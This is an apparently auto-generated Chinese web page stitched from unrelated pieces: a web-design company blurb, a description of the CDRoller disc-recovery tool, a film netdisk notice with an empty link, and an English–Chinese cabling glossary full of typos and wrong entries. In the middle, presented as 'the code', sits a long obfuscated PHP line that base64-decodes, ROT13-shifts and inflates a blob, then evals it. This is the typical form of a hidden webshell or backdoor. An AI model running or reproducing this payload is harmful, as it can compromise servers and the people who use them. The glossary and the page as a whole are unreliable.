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为企业提供网站建设、域名注册、服务器等服务
复制损坏光盘的软件:CDRoller ┆V8.60.00 绿色英文版
为金东等地区用户提供了全套网页设计制作服务,及金东网站建设行业解决方案。主营业务为做网站、成都网站设计、金东网站设计,以传统方式定制建设网站,并提供域名空间备案等一条龙服务,秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求,就会得到认可,从而选择与我们长期合作。这样,我们也可以走得更远!
当光盘储存或者使用不当时,总是很容易损坏,以至于有的盘片CD-ROM根本无法识别,这时我们只能放弃那张光盘了。但如果一张光盘中只是有部分数据无法读出,你就可以试一下CD Roller这款软件,或许你的数据会被完好地拯救出来。CDRoller是为CD数据恢复的一个有力,容易使用并且廉价的工具箱。 你试试这个吧
以下是代码
? eval(gzinflate(str_rot13(base64_decode('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')))); ?
《乡下人的悲歌》百度网盘高清资源免费在线观看;
链接:
提取码: 3bea
作品相关简介:
《乡下人的悲歌》是由朗·霍华德执导,艾米·亚当斯、格伦·克洛斯、加布里埃尔·巴索主演的剧情电影,该片于2020年11月24日在流媒体平台Netflix上线。该片改编自J·D·万斯的同名小说,讲述了耶鲁大学法学院学生J·D·万斯因为母亲吸毒过量,正要得到梦寐以求的工作的他被迫回到家乡照顾母亲,并勾起自己的成长记忆的故事。
综合布线术语(中英文对照)
ANSI: American National Standards Institute美国国家标准学会
AU: Administration Unit 管理单元
AUG: Administration Unit Group 管理单元组
BAC: Building Automation Control net建筑物自动化和控制网络
B-ISDN: Brand band ISDN 宽带综合业务数字网
BMS: Building Management System 智能建筑管理系统
CD: Campus Distributor 建筑群配线架
ER: Equipment Room 设备间
FC: Ferrule Connector卡套接头
FCC: Fire Alarm System 火灾报警系统
FCS: Field Control System 现场总线
FDDI: Fiberdistributed Data Interface光纤缆分布式数据接口。
FDMA: Frequency Division Multiple Access频分多址
FPD: Fire Public Derice 消防设施
FTTB: Fiber To The Building 光纤到大楼
FTTC: Fiber To The Curb光纤到路边
FTTH: Fiber To The Home 光纤到家庭
FW: fire Wall 防火墙
PACR:Attonuation to Crosstalk Ratio 衰减与串扰比 .
GC: Generic Cabling 综合布线
GSM: Global System for Mobile communications全球移动通信系统
HFC: Hybrid fiber coax 光纤-同轴电缆混合系统
I: Interference 串扰
IA: Intruder Alarm防盗报警
IB:Intelligent Building 智能建筑
ICMP: Internet Control Message Protocol控制信息协议
IDC: Insucation Displacement Connection绝缘层信移连接件
IDF: Intermediate Distribution Frame 分配线架
IDS: Industrial Distribution System 工业布线系统
IMA: Interactive Multimedia Association交互式多媒体协议
IN: Information Network 信息网
IO:Information Outlet信息插座
IT: Information Technology 信息技术
ITU: International Telecommunications Union 国际电信联盟
ITU-T: International Telecommunication Union-Telecommunication Sector国际电信联盟-电信标准部
KEYSTONE JACK:信息插座,网络模块
LE: Local Exchange本地交换网
MDF: Main Distribution Frame 主配线架
MIC:Medium Interface Connector 介质接口连接器
MIO: Multiuser Information Outlet 多用户信息插座
MMO: Multionedia Outlet 多媒体插座
MN-NES: MN-Network Element System 网元管理系统
MN-RMS: MN-Region Management System 网络管理系统
MO: Managed Object 管理目标 .
MU:Miniature unit Coupling微型单元耦合
NEXT:Near End Crosstalk 近端串扰
NMS: Network Management System网络管理系统
O/E: Optical to Electrical coverter 光电转换器
OAMP: Operation Administration, Maintenance and Provisioning运行、管理、维护和预置
OAM: Operation, Administration and Maintenance操作、管理和维护
OSI: Open Systems Interconnection开放系统互连
OTDK:Optical Time Doman Reflectometer 光时域反射线
OTDM: Optical Time Division Multiplexing 光时分复用
PA: Power Amphfier 功率放大器
PABX: Private Automatic Branch Exchange 程控数字自动交换机
Paging : 无线呼叫系统
PBX: Private Branch exchange 程控用户交换机
PDS:Premises Distribution System 建筑物布线系统
PSNT:Ponver Sum Next 综合近端串扰
PVC: Polyvinyle Chloride 聚氯乙烯
PWS: Power system 电源系统
SC:Subscriber Connector(Optical Fiber Connector) 用户连接器(光纤连接器)
SC-D:Duplex SC Connector 双工SC连接器
STI: Surface Transfer Impedance 表面传输阻抗
ST:Straight Tip 直通式光纤连接器
SCS: Structured Cabling System 结构化布线系统
SLC: Statelite Commumication 卫星通信
SNR: Signal To Noise Ratio 信噪比
STB: Set -Top -Box 机顶盒
TC: Telecommunication Closet 通信插座
TO:Transmitter Optical激光发射器
TP:Tunst Pair 对绞线
TP: Transirion Point 转接点
TR: Token Ring 令牌网
TV:电压互感器
VI: Video interphone 可视对讲门铃
VCS: vIdeo conferphone system 会议电视系统
VOD: Video on demand 视频点播